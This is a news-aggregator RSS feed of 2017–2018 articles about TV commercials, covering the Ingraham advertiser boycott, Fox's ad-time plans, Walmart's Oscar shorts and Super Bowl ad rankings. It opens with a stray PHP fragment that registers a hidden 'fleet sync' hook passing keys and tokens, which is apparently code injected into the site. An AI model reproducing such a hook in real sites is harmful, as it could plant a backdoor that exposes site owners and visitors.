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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); commercials – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 29 Mar 2018 18:06:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png commercials – Brief News https://briefnews.eu 32 32 Laura Ingraham apologizes to Parkland shooting survivor after 3 advertisers pull commercials from her Fox News show — here’s how other companies are responding https://briefnews.eu/laura-ingraham-apologizes-to-parkland-shooting-survivor-after-3-advertisers-pull-commercials-from-her-fox-news-show-heres-how-other-companies-are-responding/ https://briefnews.eu/laura-ingraham-apologizes-to-parkland-shooting-survivor-after-3-advertisers-pull-commercials-from-her-fox-news-show-heres-how-other-companies-are-responding/#respond Thu, 29 Mar 2018 18:06:34 +0000 http://briefnews.eu/laura-ingraham-apologizes-to-parkland-shooting-survivor-after-3-advertisers-pull-commercials-from-her-fox-news-show-heres-how-other-companies-are-responding/ laura ingraham david hoggAP Photo/Getty Images

  • Parkland shooting survivor David Hogg organized a boycott campaign against companies that run ads on Laura Ingraham’s Fox News show after the host posted a tweet mocking Hogg.
  • Wayfair is the latest company to publicly confirm that it will be pulling ads from the show.
  • On Thursday, Ingraham apologized to Hogg on Twitter.
  • Here’s how the companies have responded so far.

Parkland shooting survivor David Hogg called for a boycott against companies that advertise on Fox News host Laura Ingraham’s show after she posted a tweet mocking Hogg, saying he “whines” about not being accepted into colleges he applied to.

Hogg responded to her tweet, asking: “Soooo @IngrahamAngle what are your biggest advertisers … Asking for a friend,” and added the hashtag #BoycottIngramAdverts.

He later tweeted a list of companies that he said were advertisers on Ingraham’s show and urged his followers to contact them. 

On Thursday morning, pet-food company Nutrish confirmed on Twitter that it was making plans to pull ads from the TV show. TripAdvisor and Wayfair later followed suit. 

Ingraham apologized to Hogg on Twitter on Thursday afternoon. “I apologize for any upset or hurt my tweet caused him or any of the brave victims of Parkland,” she wrote.

She continued in a second tweet: “For the record, I believe my show was the first to feature David immediately after that horrific shooting and even noted how ‘poised’ he was given the tragedy. As always, he’s welcome to return to the show anytime for a productive discussion.”

Here’s how other companies have responded so far:

Wayfair

Wayfair

On Thursday afternoon, online furniture retailer Wayfair confirmed to Business Insider that it would be pulling ads from the TV show.

“As a company, we support open dialogue and debate on issues. However, the decision of an adult to personally criticize a high school student who has lost his classmates in an unspeakable tragedy is not consistent with our values. We do not plan to continue advertising on this particular program,” a spokesperson for the company told Business Insider. 

 

TripAdvisor

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TripAdvisor confirmed to Business Insider on Thursday that it would be pulling ads from the TV show.

A spokesman for the company said that it does not “condone the inappropriate comments made by this broadcaster.”

He continued: “These statements focused on a high school student, cross the line of decency.”

Here’s the full statement from TripAdvisor:

We believe strongly in the values of our company, especially the one that says, “We are better together.”   

We also believe Americans can disagree while still being agreeable, and that the free exchange of ideas within a community, in a peaceful manner, is the cornerstone of our democracy. 

We do not, however, condone the inappropriate comments made by this broadcaster.  In our view, these statements focused on a high school student, cross the line of decency.  As such, we have made a decision to stop advertising on that program.    

It is important to note that TripAdvisor has a global and diverse customer base, and is an active advertiser on a number of networks including news.  Our media buys target a variety of time slots and audiences. That said, we will continue to monitor where our advertisements appear in the open market to ensure they fit our guidelines.

Nutrish

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Pet-food company Nutrish was the first company to publicly respond to requests on Twitter for it to cut ads on Fox News:

“We are in the process of removing our ads from Laura Ingraham’s program,” the company tweeted on Thursday morning. 


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SEE ALSO: Rejected by 4 colleges ‘and whines about it’: A Fox News host mocked a Parkland shooting survivor — now he’s going after her advertisers

]]> https://briefnews.eu/laura-ingraham-apologizes-to-parkland-shooting-survivor-after-3-advertisers-pull-commercials-from-her-fox-news-show-heres-how-other-companies-are-responding/feed/ 0 Fox Wants to Drastically Reduce Commercials on Its Networks; Is This the First Step Into a New Model? https://briefnews.eu/fox-wants-to-drastically-reduce-commercials-on-its-networks-is-this-the-first-step-into-a-new-model/ https://briefnews.eu/fox-wants-to-drastically-reduce-commercials-on-its-networks-is-this-the-first-step-into-a-new-model/#respond Thu, 08 Mar 2018 12:20:36 +0000 http://briefnews.eu/fox-wants-to-drastically-reduce-commercials-on-its-networks-is-this-the-first-step-into-a-new-model/ Fox commercials

Traditional broadcast media outlets have historically been slow to adapt to changes in the television industry. But at a recent private event, the ad sales chief of Fox Networks Group announced that the network is hoping to switch things up in a significant way: by cutting its ad time down to two minutes per hour by the year 2020. Read more about the new Fox commercial strategy below.

A Revolutionary Goal

The Wall Street Journal reports that Joe Marchese, the sales chief of Fox Networks Group (which includes Fox, FX, FXX, National Geographic Channel, and more), spoke at a private industry event last week and laid out his hope that the networks could reduce TV ad time to two minutes an hour by 2020.

If they manage to do that, it would be a drastic change. Nielsen, the company that’s largely responsible for measuring television ratings in the United States, says that on broadcast TV in 2017, the average amount of ad time per hour was just over 13 minutes, and on cable it was 16 minutes. Dropping to just two minutes an hour would mean abandoning the ad-supported model that’s been in place since the invention of the medium.

So How Would Fox Make Money?

If the Fox Networks Group essentially ditches television commercials, the Wall Street Journal says the networks “would likely need to charge a lot more money for the scarce inventory it has left,” and that the “shift is contingent on the industry changing the way it buys and sells media.” That’s a pretty big ask for an industry that has historically been disinclined to deviate from the status quo. But with audiences bombarded with dozens of entertainment options at all times, it seems as if Fox sees the writing on the wall and actually wants to try to get ahead of the curve a little bit instead of finally getting around to reacting to the changing landscape after it’s already collapsed under their feet.

Is This New Model Sustainable?

The report says Marchese wants to sell ads based on the audiences’ time spent with the content instead of just counting the number of views a particular piece of entertainment has. That sounds like it means the network might be trying to adopt a Hulu-style ad strategy. Think about something like The Handmaid’s Tale, which has 50-55 minute episodes and a few quick bursts of short commercials. Maybe the plan is to convince advertisers to spend more money to essentially sponsor an episode. Advertisers could then craft entire commercial campaigns for use within those ad blocks – potentially telling their own story within the story across multiple commercials per episode.

But if people are fast-forwarding through commercials using DVRs anyway, I’m not entirely sure this model will be sustainable.

An ad buyer who was at the event told the WSJ that Marchese’s comment “was sort of an aspiration or goal. Not a declaration,” but Ed Davis, the chief product officer for Fox Network Group ad sales, confirmed that “two minutes per hour is a real target for Fox, and also our challenge to the industry.” So it seems as if they’re serious about at least giving this a shot.

It’s unclear if this shift will continue unabated if Disney’s acquisition of Fox is approved, or if the Mouse House has a different plan in mind for these channels. But in an era in which audiences are flocking to streaming services like Netflix, Amazon, and Hulu, it’s increasingly clear that the traditional advertising model is not going to be reliable for broadcasters much longer. Will this be the first step toward innovation?

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]]> https://briefnews.eu/fox-wants-to-drastically-reduce-commercials-on-its-networks-is-this-the-first-step-into-a-new-model/feed/ 0 Dee Rees Directs a Spectacular Sci-Fi Short Film for Walmart; Plus Two Other Female-Directed Commercials https://briefnews.eu/dee-rees-directs-a-spectacular-sci-fi-short-film-for-walmart-plus-two-other-female-directed-commercials/ https://briefnews.eu/dee-rees-directs-a-spectacular-sci-fi-short-film-for-walmart-plus-two-other-female-directed-commercials/#respond Tue, 06 Mar 2018 18:33:54 +0000 http://briefnews.eu/dee-rees-directs-a-spectacular-sci-fi-short-film-for-walmart-plus-two-other-female-directed-commercials/ walmart oscars commercials

It’s no Super Bowl Sunday, but the Oscars are starting to step their game up in the realm of must-see commercials. The best of the bunch are a series of female-directed Walmart Oscars commercials. And they’re deserving of an Oscar category all of their own.

Dee Rees, Nancy Meyers, and Melissa McCarthy each directed one-minute short films for Walmart that could rival feature films. The most exciting of the bunch came from Mudbound director Dee Rees, who created a big-budget sci-fi short that went viral.

It’s amazing that we don’t have a bigger culture around Oscars commercials. Every Super Bowl Sunday, we furiously rank our favorite Super Bowl commercials, but on the night built around the best of filmmaking, nada.

That’s beginning to change. 2015 saw the star-studded Apple commercial directed by Ava Duvernay go viral. Last year, Walmart began its short film ad campaign with commercials from Antoine Fuqua, Marc Forster and Seth Rogen & Evan Goldberg.

Now this year, we have a slew of female-directed short films that were even more exciting to watch than the Oscars ceremony.

Dee Rees Short

The best of these shorts comes from Oscar nominee Dee Rees, who may have lost Best Original Screenplay for Mudbound, but won the night with her delightful, high-concept short. Titled “The Box,” the short reunites Rees with Mudbound star Mary J. Blige, who plays one of the many figments of a young girl’s active imagination.

The colorful, trippy short follows a young woman navigating a treacherous sci-fi landscape, fighting terrifying creatures and evil dictators. But she’s suddenly called by her mother, who orders her to bed. In a fun revelation, it turns out the battle was all a product of a young girl’s imagination as she plays in a Walmart box. It’s a sweet short that was also praised for its inspirational depiction of a young science-obsessed girl with two mothers.

Nancy Meyers Short

But not everyone is a sci-fi fan. Nancy Meyers delivers a short film for all the music score fanatics out there, following Hans Zimmer as he struggles with writers block. It’s a frank and funny short that depicts the famous composer of Dunkirk, The Lion King, and Inception frustratedly trying to compose a piece, but to no avail. He’s helped by a member of his band, who begins tapping a Walmart box for inspiration. Eventually, everyone joins in a merry musical circle and Hans finishes his next masterpiece.

Melissa McCarthy Short

The last short stars The Greatest Showman star Keala Settle. Melissa McCarthy, who has helmed four episodes of her sitcom Mike and Molly, directs this inspirational short about finding your voice.

A dejected Settle enters a mysterious box at the subway station, which takes her to a nervous young girl standing silent on a stage. Hearing the jeers from the audience, Settle whispers to the young girl, who wows everyone with her voice. Cut to Settle singing loud and proud on stage. It’s a sweet and sentimental short about following your dreams.

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]]> https://briefnews.eu/dee-rees-directs-a-spectacular-sci-fi-short-film-for-walmart-plus-two-other-female-directed-commercials/feed/ 0 These are the most unforgettable Super Bowl commercials of all time https://briefnews.eu/these-are-the-most-unforgettable-super-bowl-commercials-of-all-time/ https://briefnews.eu/these-are-the-most-unforgettable-super-bowl-commercials-of-all-time/#respond Sun, 04 Feb 2018 22:50:39 +0000 http://briefnews.eu/these-are-the-most-unforgettable-super-bowl-commercials-of-all-time/ Cindy Crawford - PepsiPepsi/ Getty Images

This Super Bowl Sunday, the Philadelphia Eagles will take on the New England Patriots, and both teams will have their eyes set on the Lombardi trophy.

But off the field, there will be another battle on your TV screens, as brands attempt to outwit one another with their  Super Bowl commercials.

While the 2018 ad winner is yet to be crowned (here are the 10 most buzziest commercials), it’s as good as a time as ever to take a walk down memory lane. Whether heartwarming or funny, sad or downright weird, these commercials left an indelible impression on their audiences.

Here are 10 of the most unforgettable Super Bowl commercials of all time, in no particular order. 

 

Apple’s “1984”

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Apple’s much-hailed yet very bizarre commercial from 1984 was technically the very first viral ad —making Super Bowl commercials a true phenomena. 

The ad aired only once, but was replayed on news channels across the world for weeks, and contributed to the sale of about $ 150 million worth of Macintoshes in barely three months.

Talk about a return on investment. 

Watch it here.

Always’ “Like a girl”

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By recasting a phrase often used as an insult as an empowering message, the award-winning Procter and Gamble spot won hearts everywhere. 

Although a continuation of a campaign that began the previous summer, the spot stood out among a sea of hyper-masculine ads, and won heaps of praise for changing the conversation about what it means to run, throw and do pretty much anything “like a girl.”

Watch it here.

Doritos “Live the Flavor”

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More groundbreaking from an innovation, rather than an audience perspective, this 2007 spot was the first ever crowdsourced Super Bowl spot.

It let Doritos cut down on costs while simultaneously engaging some of its most loyal customers.

Watch it here.


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Plex, the service that collects media and streaming channels into one application, has been fine-tuning its offerings with new features that have recently improved viewing quality. But its next addition came with little fanfare: Enabling its DVR, which it launched back in June, to automatically remove commercials.

Plex quietly added the feature to its DVR service this weekend, which requires a Plex Pass subscription, in an update with several bug fixes. You’ll have to manually enable the commercial-snipping in the DVR settings, but thereafter it will cut the ads out permanently, deleting them from the file itself. Better hope that it correctly flags material or the setting will cut out parts of your show. Also, be aware that “this process may take a long time and cause high CPU usage,” according to the feature’s description.

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]]> https://briefnews.eu/plex-dvr-can-now-automatically-remove-commercials/feed/ 0 The 14 Weirdest Horror Icon Appearances: Music Videos, ‘SNL,’ and Some Insane Commercials https://briefnews.eu/the-14-weirdest-horror-icon-appearances-music-videos-snl-and-some-insane-commercials/ https://briefnews.eu/the-14-weirdest-horror-icon-appearances-music-videos-snl-and-some-insane-commercials/#respond Thu, 12 Oct 2017 17:02:16 +0000 http://briefnews.eu/the-14-weirdest-horror-icon-appearances-music-videos-snl-and-some-insane-commercials/ lemmy and pinhead

In the necessary world of cinematic promotion, studios will do anything for publicity. Nowadays, it’s all viral internet campaigns and pop-up shops, but times weren’t always so simple. Without the internet, without VR experiences – without today’s “developed” advantages – marketing pros relied on much simpler means to drive their product. Maybe a music video featuring a movie character jamming with rockstars of the era? Maybe some dial-a-character telephone gimmick? An awards show skit? In any case, old-school marketing departments were forced to create imaginative Hollywood tie-ins with only half our society’s current means. That’s obvious to us old folks, but younger generations may forget!

I give you that background to introduce you to my latest quest – to hunt down the horror genre’s most wild, irreplicable videos featuring genre icons forced into promotional crossover buffoonery. But why stop there? As I dragged the internet’s depths, even better content presented itself. Horror’s biggest names shoehorned into commercials and singing on Saturday Night Live. I can’t not share that, right?

So I dug into the “lost but not forgotten” pile of extracurricular B-roll featuring some conceptually insane horror icon appearances. These are the best of the best. You may have found some already yourself – or experienced them live – while others will hopefully raise an eyebrow. In any case, enjoy this obscure collection of horror icons doing the darndest things that don’t involve killing.

Just wait until you hit “Freddy in Japan.” You guys. GUYS.

1. Chucky Insults Rick Steiner and Mean Gene on WCW Monday Nitro 

As an enthusiastic wrestling fan and steadfast Child’s Play protester in my youth, Chucky’s cameo during a Monday Nitro segment was quite conflicting. At the time, I was horrified. Looking back? I can appreciate what a bizarre appearance it was. Chucky – projected on the arena’s megatron – defending Scott “Big Poppa Pump” Steiner and ridiculing his brother, the leather-clad Bulldog (greatest jacket in wrestling?).

Don Mancini’s creation had no dog in any WCW fight, but how better to work in a violent threat against both Rick Steiner and Mean Gene Okerlund? Chucky’s dialogue stinks of pre-recorded timing, syncing responses with a live-TV awkwardness – yet it entertains nonetheless (certainly not Chuckster’s weirdest appearance, as you’ll see). “Get that dummy out of here!” shouts Mean Gene. Rick Steiner staring in confusion as Chucky cackles and threatens to twist his head off, eventually leading to a Bride Of Chucky plug.

Points for Brad Dourif’s voice, points for calling Rick Steiner a “genetic throwback that barks.” Maybe next time get Chucky in the ring?!

2. Chucky Drops by Weekend Update to Talk Politics and Kill Colin Quinn 

Another Bride Of Chucky tie-in, but this one’s a bit off-brand.

During one of SNL’s wackiest Weekend Update segments, Chucky – fully suited – joins Colin Quinn to discuss…the Clinton fellatio scandal? You can immediately hear it’s not Brad Dourif, and even though the bit appears live, it’s even more awkwardly paced than the WCW stunt. Cue Chucky launching into a speech about how Clinton has more-or-less been scrutinized enough, followed by a pro-oral-sex joke from a schmoozing Chucky whose delivery is flatter than a stashed liter of Crystal Pepsi.

Then Chucky whips out a knife and attempts to “kill” Quinn (asking his co-host to “get a beer” beforehand), only to be carried away by Horatio Sanz. Not exactly the motivated Chucky we’re used to.

3. That Creepy Robot in Daft Punk’s 2005 Music Video For “Technologic?” A Chucky Sighting! 

Here’s one for the “Wait, what?!” files.  Chucky once starred in a Daft Punk music video! Go back and give “Technologic” a watch. See that creepy-lookin’ skeleton of an animatronic dummy? That’s none other than a skinned, stripped-down Chucky model from Seed of Chucky. It’s more of a behind-the-scenes kind of feel with some funk tunes, but it’s a rare look into what makes Chucky tick under the overalls and freckles. Still creepy as hell, only defined by gummy chompers and eyebrow movements.

4. Cenobites Rock Out With Motörhead in Hellraiser Music Video

Ugh, I seriously miss when horror movies often signed big-name talent to write theme songs. We’ll get to Freddy and The Fat Boys, but first let’s start with Pinhead and the God of rock-n-roll incarnate, Lemmy Kilmister. Cenobites squaring off against a man who’s now probably drinking the Devil under a table just for fun, whiskey in one hand, and middle finger clenched in the other – just like he gives to Pinhead in this video (off camera).

Motörhead are playing what looks like a private show for Pinhead and his cronies when a scraggly, stereotyped metal fan sits in front of them. Pinhead grabs the kid and probably gives him a stern chat (jk he tortures his soul into oblivion), Lemmy gets pissed, he beats Pinhead in a hand of cards (4 Aces, and don’t forget the Joker!), boom goes the middle finger, motorcycles rev, and a horror legend is left cursing Motörhead’s name.

Lemmy, the only man should could make Pinhead look like some posh Bret Michaels lame-o. RIP.

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Yoshiharu Sato has an impressive resume: animator on Porco Rosso, key animator on Kiki’s Delivery Service, and supervising animator on My Neighbor Totoro—among others. Recently, he’s been focusing on commercials, and they’re terrific. But he’s hardly alone at making great anime ads.

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Here is Sato’s latest work, which is for a Japanese bread company known as Francois. 

These commercial certainly have a Ghibli vibe to them.

As Matome Naver points out, he previously did a shochu commercial for Satsuma Shuzo. 

Great, huh?

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Other former Studio Ghibli animators have also made ads. Check out this one done by the folks at Studio Ponoc. 

Over the years, Ghibli has also made commercials as well as opening credit sequences for TV shows.

The “new Miyazaki” Makoto Shinkai of Your Name fame has even directed anime ads of his own.

Wonderful stuff.

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]]> https://briefnews.eu/japan-has-excellent-animated-commercials/feed/ 0 The hits, misses and messages of the Super Bowl commercials https://briefnews.eu/the-hits-misses-and-messages-of-the-super-bowl-commercials/ https://briefnews.eu/the-hits-misses-and-messages-of-the-super-bowl-commercials/#respond Mon, 06 Feb 2017 14:05:55 +0000 http://briefnews.eu/the-hits-misses-and-messages-of-the-super-bowl-commercials/

It’s rare that you want to watch the commercials. Normally you want to change channels, go get a snack or fast forward through them — except during the Super Bowl.

For Americans, commercials have long been part of the attraction. And this year — finally — Canadians got to take part in the fun, thanks to a CRTC decision.

This year’s advertisers reportedly paid roughly $ 5 million US for 30 seconds of airtime. The aim, as always, was to create the most memorable ad by stuffing commercials with celebrities, slapstick humour, cute animals or children.

This year’s crop of ads filled all the categories, but several nodded to the political climate since Donald Trump became president.

The messages

Shortly before kickoff, Coca-Cola replayed an ad originally from 2014, which featured America the Beautiful sung in eight different languages. 

The most obviously political ad was from 84 Lumber, which had an earlier version rejected for being too controversial. The commercial featured the journey of a woman and her daughter travelling through Mexico. The ad directed viewers online to see the conclusion.

At the end of the six-minute piece, the characters arrived at a towering wall and appeared defeated until they discovered a gate in the wall. The ad ended with the words, “The will to succeed is always welcome here.”

The commercial was clearly in opposition to Trump’s plan to build a border wall between the U.S. and Mexico.

Trump’s famous hair was also the target of an ad for, what else, hair products. The 10 Haircare commercial reminded viewers that no matter what else happens, “we’re in for four years of awful hair.”

Several ads were less direct about their political message, but still took an inspirational tone.

Honda’s Super Bowl spot used talking yearbook photos of celebrities including Tina Fey, Robert Redford and Viola Davis to talk about following your dreams. While it didn’t have much to do with cars, the commercial gave viewers a glimpse of what celebs looked like in high school.

Audi’s ad may not have been directly targeting U.S. politics, but its message was definitely clear. The commercial featured a young girl competing in a soapbox car race while her father struggled to explain gender inequality. 

The gags

The Avocados from Mexico ad featured a story about a secret society that apparently can’t keep secrets — including health benefits of avocados.  

Another ad featured John Malkovich trying to secure his domain name from someone else named John Malkovich. In typical Malkovich style, the actor played it straight. The commercial for Squarespace had two equally laugh-worthy parts.

With the help of a Magic Eraser, Mr. Clean turned an average Joe into more of a Magic Mike. 

The stars

As usual, many commercials brought out some star power. They drove cars and endorsed airlines and wireless providers. A unique use of star power came from a beverage company that isn’t available in Canada.

The ad for Bai, pronounced ‘bye’, starts off with Christopher Walken reciting a few lines that don’t entirely make sense. As the camera pans out, Walken is seen sitting beside Justin Timberlake, and the lines are the lyrics to the ‘N Sync song Bye, Bye, Bye. 

Aside from the commercials, there were plenty of movie trailers and previews for video games. Those trailers featured action and explosions — including an unnecessary return of Pirates of the Caribbean — and the Halloween premiere date for season 2 of the Netflix sensation Stranger Things.

Let’s block ads! (Why?)

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Things may have gotten political this year, but that didn’t mean the ads were humorless. The post The Best Super Bowl Commercials, From Avocados to Zelda appeared first on WIRED.
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It all depends on how you make use of that precious seconds. As this year’s contest between the Patriots and Falcons plays out in Houston, TVLine is singling out the spots that were winning plays, and the few that were costly fumbles. (Anything not listed — e.g. Skittles, Avocados, Tide — was neither here nor there.)

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By the end of the night, this list will be left with only the very best, and a few of the worst, that Madison Avenue had to offer. Refresh for updates, and feel free to comment on any ads that landed in the “meh” middle.

WINNING PLAYS

84 Lumber, “The Entire Journey” | Super Bowl viewers only saw 90 seconds of this short, immigration-themed film from a building materials supplier (whose owner voted for Trump, natch), which met some resistance from Fox. The full, online version shows the mother and American flag-weaving daughter met by the wall… as we realize the workers were actually building a door for them to pass through, legally.

It’s a 10 Haircare, “Super Bowl Commercial” | You had me at, “America, we’re in for at least four years of awful hair.”

Squarespace, “Calling JohnMalkovich.com” | The in-game spot continued the pre-game commercial’s narrative, in which the John Malkovich struggles to wrest his eponymous domain from a…. fish blogger.

Snickers, “Live Super Bowl Commercial” | Maybe not the strongest of the “You’re Not You When You’re Hungry” campaign, but major points for “destroying” an Old West town, live. Also: Kylo Ren!

Audi, “Daughter” | The auto manufacturer says it elected to “speak to American emotionally” with this year’s spot, by tapping into the “culturally engaging topic” of gender equality in the work place. And it did so with just the right firmness of touch.

Michelin, “I Need You” | Warm/fuzzy vignettes in which people rush to the side of loved ones, perhaps a bit more assuredly on Michelin tires.

Intel, “Brady Everyday” | An effective, fun demo of the Big Game’s 360-degree camera technology, reminding you that Intel makes more than PC chips.

Airbnb, “#weaccept” | A timely message spot that almost challenged you to identify its sponsor.



Buick, “Big Game Spot With Cam Newton and Miranda Kerr” | Started off a bit similar to the Snickers spots, with the body swapping and all, but once #19 got rifled backwards by Cam’s pass, big laughs.

Honda, “Yearbooks” | Perhaps not the strongest sell for any car, but the assemblage of celebs, retrofitted (and talking) as their teenage selves, is mesmerizing.

Bai, “Big Game Ad Starring Justin Timberlake and Christopher Walken” | If only because Walken reciting any dialogue, let alone JT lyrics out of context, is always a winner.

TurboTax, “Humpty Hospital” | Some have found this series unsettling, but damn if they don’t stick with the yolk, er, joke to the very end.

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FUMBLES

Bud Light, “Ghost Spuds” | It’s been a while, so remind me: Has Spuds ever spoken before? And with that voice? Add in a dog apparently dangling from wires and it’s just wrong.

Mr. Clean, “Cleaner of Your Dreams” | This one is starting to grow on us, with the about-to-be-ravaged shlubby hubby at the end, but still — sexualized CGI makes you feel a bit dirty.

H&R Block, “Future” | On the heels of entertaining-enough January spots starring Mad man Jon Hamm, the tax prep service takes a sharp left turn with an almost eerie tout of the IBM Watson computer’s ability to find you every deduction.

Busch, “BUSCHHHHH” | Silly.

T-Mobile, “#UnlimitedMoves” | Wouldn’t it be hilarious if we put bad boy Bieber in a tuxedo and spectacles? Answer: no.

Michelob Ultra, “Our Bar” | When I heard Michelob was doing a “fitness”-themed spot, my eyes rolled so hard I burned 95 calories. Know what people who work out like a beast actually drink? Lots of water. True story.

Let’s block ads! (Why?)

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